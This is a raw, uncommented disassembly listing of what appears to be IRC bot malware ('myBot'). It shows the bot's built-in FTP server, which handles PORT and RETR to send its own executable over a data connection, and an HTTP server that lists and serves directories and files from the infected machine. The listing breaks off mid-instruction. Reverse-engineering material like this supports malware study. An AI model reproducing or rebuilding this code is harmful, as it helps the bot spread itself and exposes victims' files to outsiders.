push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_417AB0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057A9 ; --------------------------------------------------------------------------- loc_4057FA: ; CODE XREF: sub_4053D5+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4058D0 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_418A52 lea eax, [ebp+var_F8] push eax call sub_41781F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_41781F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_417330 add esp, 34h lea eax, [ebp+var_F8] push [ebp+var_8] push edi push offset aXX ; "%x%x\n" push eax call sub_4172B0 push 10h lea eax, [ebp+var_F8] push esi push eax call sub_418A3B add esp, 1Ch mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4172B0 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4057B1 ; --------------------------------------------------------------------------- loc_4058D0: ; CODE XREF: sub_4053D5+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40598B push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4059DB pop ecx cmp eax, 1 pop ecx jnz short loc_405981 call sub_405A58 cmp eax, 1 jnz loc_4059AD push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_43C83C push eax lea eax, [ebp+var_8DC] push offset unk_42A128 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_440], esi jnz short loc_405972 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40D679 add esp, 14h loc_405972: ; CODE XREF: sub_4053D5+578j lea eax, [ebp+var_8DC] push eax call sub_40BF6D pop ecx jmp short loc_4059AD ; --------------------------------------------------------------------------- loc_405981: ; CODE XREF: sub_4053D5+532j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059AA ; --------------------------------------------------------------------------- loc_40598B: ; CODE XREF: sub_4053D5+510j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4059AD push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059AA: ; CODE XREF: sub_4053D5+28Bj ; sub_4053D5+2AFj ... push edi call ebx ; send loc_4059AD: ; CODE XREF: sub_4053D5+3DFj ; sub_4053D5+53Cj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 add esp, 0Ch loc_4059BF: ; CODE XREF: sub_4053D5+1E0j ; sub_4053D5+247j inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405503 jmp loc_4054C8 ; --------------------------------------------------------------------------- loc_4059D1: ; CODE XREF: sub_4053D5+11Ej push 1 pop eax loc_4059D4: ; CODE XREF: sub_4053D5+D0j pop edi pop esi pop ebx leave retn 4 sub_4053D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059DB proc near ; CODE XREF: sub_4053D5+528p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 nop call near ptr 71AB3C22h push [ebp+arg_0] mov dword_43C838, eax mov [ebp+var_10], 2 call near ptr 71AB12F8h nop push [ebp+arg_4] mov [ebp+var_C], eax nop call near ptr 71AB1746h mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_43C838 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_405A53 push dword_43C838 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059DB+60j push 1 pop eax leave retn sub_4059DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A58 proc near ; CODE XREF: sub_4053D5+534p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 nop call near ptr 2640000h lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_4179A8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405AEF test byte ptr [esi+0Ch], 10h jnz short loc_405AD3 push edi mov edi, 400h loc_405A9B: ; CODE XREF: sub_405A58+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_418A86 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_43C838 nop call near ptr 71AB1AF4h push 1 call near ptr 25E041Ch nop test byte ptr [esi+0Ch], 10h jz short loc_405A9B pop edi loc_405AD3: ; CODE XREF: sub_405A58+3Bj push esi call sub_417900 pop ecx push dword_43C838 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_405AEF: ; CODE XREF: sub_405A58+35j pop esi leave retn sub_405A58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AF2 proc near ; DATA XREF: sub_407252+333o ; sub_40EE72+54E8o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43F668 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405EDD mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4450CC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43F694 cmp eax, 0FFFFFFFFh jz loc_405EDD push 7FFFFFFFh push edi call dword_43F690 cmp eax, 0FFFFFFFFh jz loc_405EDD lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43F704 cmp eax, 0FFFFFFFFh jz loc_405EDD mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BC9: ; CODE XREF: sub_405AF2+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43F650 cmp eax, 0FFFFFFFFh jz loc_405ED8 xor esi, esi mov [ebp+var_4], esi loc_405BFF: ; CODE XREF: sub_405AF2+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_43F560 test eax, eax jz loc_405EC3 cmp esi, [ebp+var_C] jnz short loc_405C81 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_43F6FC cmp eax, 0FFFFFFFFh jz loc_405EC3 xor ecx, ecx test ebx, ebx jbe short loc_405C53 lea edx, [ebp+var_134] loc_405C47: ; CODE XREF: sub_405AF2+15Fj cmp [edx], eax jz short loc_405C53 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C47 loc_405C53: ; CODE XREF: sub_405AF2+14Dj ; sub_405AF2+157j cmp ecx, ebx jnz short loc_405C70 cmp ebx, 40h jnb short loc_405C70 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405C70: ; CODE XREF: sub_405AF2+163j ; sub_405AF2+168j cmp eax, [ebp+var_8] jbe loc_405EC3 mov [ebp+var_8], eax jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405C81: ; CODE XREF: sub_405AF2+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_417330 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_43F680 test eax, eax jg short loc_405D14 push esi call dword_43F700 xor ecx, ecx test ebx, ebx jbe loc_405EC3 lea eax, [ebp+var_134] loc_405CD3: ; CODE XREF: sub_405AF2+1EBj cmp [eax], esi jz short loc_405CE4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405CD3 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405CE4: ; CODE XREF: sub_405AF2+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D08 lea eax, [ebp+ecx*4+var_134] loc_405CF2: ; CODE XREF: sub_405AF2+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405CF2 loc_405D08: ; CODE XREF: sub_405AF2+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405D14: ; CODE XREF: sub_405AF2+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417330 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_417AB0 add esp, 10h test eax, eax jbe loc_405EC3 loc_405D42: ; CODE XREF: sub_405AF2+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405DE7 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_405DBB lea eax, [ebp+var_18F0] push eax call sub_417AB0 cmp eax, 5 pop ecx jbe short loc_405DBB mov eax, offset asc_42A3B4 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx pop ecx push eax call sub_417880 pop ecx pop ecx push eax call sub_418B6E push eax lea eax, [ebp+var_23C] push eax call sub_4179C0 add esp, 10h jmp short loc_405DD2 ; --------------------------------------------------------------------------- loc_405DBB: ; CODE XREF: sub_405AF2+27Fj ; sub_405AF2+291j lea eax, [ebp+var_18F0] push offset asc_42A3B0 ; "\r\n" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_405E06 loc_405DD2: ; CODE XREF: sub_405AF2+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 0Ch or esi, 0FFFFFFFFh loc_405DE7: ; CODE XREF: sub_405AF2+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jb loc_405D42 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405E06: ; CODE XREF: sub_405AF2+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E50 lea eax, [ebp+var_134] loc_405E12: ; CODE XREF: sub_405AF2+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E23 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E12 jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E23: ; CODE XREF: sub_405AF2+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E47 lea eax, [ebp+ecx*4+var_134] loc_405E31: ; CODE XREF: sub_405AF2+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E31 loc_405E47: ; CODE XREF: sub_405AF2+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E50: ; CODE XREF: sub_405AF2+318j mov esi, [ebp+var_4] loc_405E53: ; CODE XREF: sub_405AF2+32Fj ; sub_405AF2+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405EBC lea eax, [ebp+var_360] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_417AB0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EBC and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_43F704 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4060D0 add esp, 14h jmp short loc_405EC3 ; --------------------------------------------------------------------------- loc_405EBC: ; CODE XREF: sub_405AF2+369j ; sub_405AF2+38Fj push esi call dword_43F700 loc_405EC3: ; CODE XREF: sub_405AF2+11Dj ; sub_405AF2+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405BFF jmp loc_405BC9 ; --------------------------------------------------------------------------- loc_405ED8: ; CODE XREF: sub_405AF2+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405EDD: ; CODE XREF: sub_405AF2+6Aj ; sub_405AF2+92j ... call dword_43F5FC push eax lea eax, [ebp+var_8F0] push offset unk_42A36C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F23 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40D679 add esp, 14h loc_405F23: ; CODE XREF: sub_405AF2+40Cj lea eax, [ebp+var_8F0] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_254] call sub_417078 pop ecx push ebx nop call near ptr 25D0362h pop edi pop esi pop ebx sub_405AF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F4D proc near ; DATA XREF: sub_4060D0+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_417B30 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_405FB3 push offset aTextHtml ; "text/html" jmp short loc_405FB8 ; --------------------------------------------------------------------------- loc_405FB3: ; CODE XREF: sub_405F4D+5Dj push offset aApplicationOct ; "application/octet-stream" loc_405FB8: ; CODE XREF: sub_405F4D+64j lea eax, [ebp+var_9C] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2660000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2650000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_406031 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 24h jmp short loc_406052 ; --------------------------------------------------------------------------- loc_406031: ; CODE XREF: sub_405F4D+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 28h loc_406052: ; CODE XREF: sub_405F4D+E2j lea eax, [ebp+var_1654] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43F6B8 cmp [ebp+var_A4], edi jnz short loc_406092 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406A0D pop ecx pop ecx jmp short loc_4060AF ; --------------------------------------------------------------------------- loc_406092: ; CODE XREF: sub_405F4D+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_406387 add esp, 10h loc_4060AF: ; CODE XREF: sub_405F4D+143j push [ebp+var_44C] call dword_43F700 push [ebp+var_B4] call sub_417078 pop ecx push edi nop call near ptr 25D0362h pop edi pop esi sub_405F4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060D0 proc near ; CODE XREF: sub_405AF2+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_417330 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406106 push eax push offset aS_2 ; "\\%s" jmp short loc_40610F ; --------------------------------------------------------------------------- loc_406106: ; CODE XREF: sub_4060D0+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40610F: ; CODE XREF: sub_4060D0+34j lea eax, [ebp+var_10C] push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_417AB0 test eax, eax pop ecx jbe short loc_4061AA mov [ebp+arg_8], 2 loc_40613A: ; CODE XREF: sub_4060D0+D8j lea eax, [ebp+var_10C] push eax call sub_417AB0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40617A cmp [ebp+esi+var_10C], 25h jnz short loc_40617A cmp [ebp+esi+var_10B], 32h jnz short loc_40617A cmp [ebp+esi+var_10A], 30h jnz short loc_40617A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_406194 ; --------------------------------------------------------------------------- loc_40617A: ; CODE XREF: sub_4060D0+7Aj ; sub_4060D0+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40618A push 5Ch pop eax jmp short loc_40618D ; --------------------------------------------------------------------------- loc_40618A: ; CODE XREF: sub_4060D0+B3j movsx eax, al loc_40618D: ; CODE XREF: sub_4060D0+B8j mov [ebp+ebx+var_210], al loc_406194: ; CODE XREF: sub_4060D0+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_417AB0 cmp esi, eax pop ecx jb short loc_40613A loc_4061AA: ; CODE XREF: sub_4060D0+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 lea eax, [ebp+var_314] push offset asc_42A660 ; "\n" push eax call sub_418B6E add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26702C6h push 1 cmp eax, 10h pop esi jz short loc_4061FB cmp eax, 0FFFFFFFFh jnz short loc_4061FE push [ebp+arg_0] jmp loc_40627E ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_4060D0+11Cj mov [ebp+var_4], esi loc_4061FE: ; CODE XREF: sub_4060D0+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40620B mov [ebp+var_4], esi loc_40620B: ; CODE XREF: sub_4060D0+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_406289 cmp [ebp+arg_C], edi jz short loc_40627D lea eax, [ebp+var_314] push offset asc_42A65C ; "*" push eax call sub_4179D0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_4172B0 lea eax, [ebp+var_210] push eax call sub_406ACA add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4172B0 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4062D8 ; --------------------------------------------------------------------------- loc_40627D: ; CODE XREF: sub_4060D0+152j push ebx loc_40627E: ; CODE XREF: sub_4060D0+126j call dword_43F700 jmp loc_406380 ; --------------------------------------------------------------------------- loc_406289: ; CODE XREF: sub_4060D0+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 2630846h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4062D8 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4172B0 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 2670000h nop push esi mov [ebp+var_330], eax call near ptr 2610978h nop loc_4062D8: ; CODE XREF: sub_4060D0+1ABj ; sub_4060D0+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_42A61C push eax call sub_4172B0 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_416D5C mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4450C4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F4D push edi push edi nop call near ptr 2660BD0h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_4450D4[ecx], eax jz short loc_406352 loc_406340: ; CODE XREF: sub_4060D0+280j cmp [ebp+var_318], edi jnz short loc_406380 push 5 nop call near ptr 25E041Ch jmp short loc_406340 ; --------------------------------------------------------------------------- loc_406352: ; CODE XREF: sub_4060D0+26Ej push ebx call dword_43F700 nop call near ptr 2630B7Ah push eax lea eax, [ebp+var_8C4] push offset unk_42A5D4 push eax call sub_4172B0 lea eax, [ebp+var_8C4] push eax call sub_40BF6D add esp, 10h loc_406380: ; CODE XREF: sub_4060D0+1B4j ; sub_4060D0+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4060D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406387 proc near ; CODE XREF: sub_405F4D+15Ap ; sub_40EE72+49CBp var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417330 mov edi, [ebp+arg_0] push offset asc_42A660 ; "\n" push edi call sub_418B6E add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4063E6 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41782A add esp, 14h jmp loc_4064E5 ; --------------------------------------------------------------------------- loc_4063E6: ; CODE XREF: sub_406387+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4064CB call sub_417AB0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push edi call sub_417AB0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 0Ch jmp short loc_4064E5 ; --------------------------------------------------------------------------- loc_4064CB: ; CODE XREF: sub_406387+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h loc_4064E5: ; CODE XREF: sub_406387+5Aj ; sub_406387+142j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 cmp [ebp+arg_C], ebx jz short loc_406580 push [ebp+arg_C] call sub_417AB0 cmp eax, 2 pop ecx jbe short loc_406580 push [ebp+arg_C] call sub_417AB0 sub eax, 3 pop ecx jz short loc_406531 loc_406525: ; CODE XREF: sub_406387+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_406531 dec eax jnz short loc_406525 loc_406531: ; CODE XREF: sub_406387+19Cj ; sub_406387+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_418C10 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 loc_406580: ; CODE XREF: sub_406387+180j ; sub_406387+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 26A0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 2690000h nop test eax, eax jz loc_406970 mov edi, 1FFh loc_4065AC: ; CODE XREF: sub_406387+5E3j cmp [ebp+var_388], ebx jz loc_406958 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 2680478h nop lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2680000h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406621 mov ecx, offset aAm ; "AM" loc_406621: ; CODE XREF: sub_406387+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40662D sub eax, 0Ch loc_40662D: ; CODE XREF: sub_406387+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4172B0 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067D0 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short 